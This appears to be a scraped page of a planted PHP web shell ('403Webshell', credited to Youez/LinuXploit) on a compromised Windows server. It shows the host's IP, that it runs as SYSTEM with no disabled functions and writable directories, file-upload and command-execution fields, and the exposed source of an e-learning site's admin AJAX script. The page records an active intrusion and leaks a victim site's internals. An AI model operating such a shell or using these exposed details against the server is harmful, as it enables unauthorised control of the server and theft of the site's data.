403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/elearning/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/elearning/admin/ajax_get_subj_com.php
<?php
require '../configs/app_top.php';
$course_code = safe_input($_GET["code"]);
if ($course_code == "") {
  echo "";
} else {
  try {
    $sql = "select sc_id, `sc_name` "
            . "FROM " . TBL_SUBJECT_COMBINATIONS . " WHERE 1 AND sc_course_code = :code ORDER BY sc_id ASC";

    $stmt = $DB->prepare($sql);
    $stmt->bindValue(":code", safe_input($course_code));
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    #$ex->getMessage();
  }
}
?>
<div class="form-group">
  <label class="col-2 control-label" for="sub_com"><span class="required">*</span>Combination: </label>
  <div class="col-6">
    <input type="hidden" name="scom" id="scom" value="<?php echo count($results); ?>">
    <select class="form-control" name="sub_com" id="sub_com">
      <option value="">select</option>
      <?php
      foreach ($results as $cr) {
        echo '<option value="' . safe_output($cr["sc_id"]) . '" ' . $s . ' >' . safe_output($cr["sc_name"]) . '</option>';
      }
      ?>
    </select>
  </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit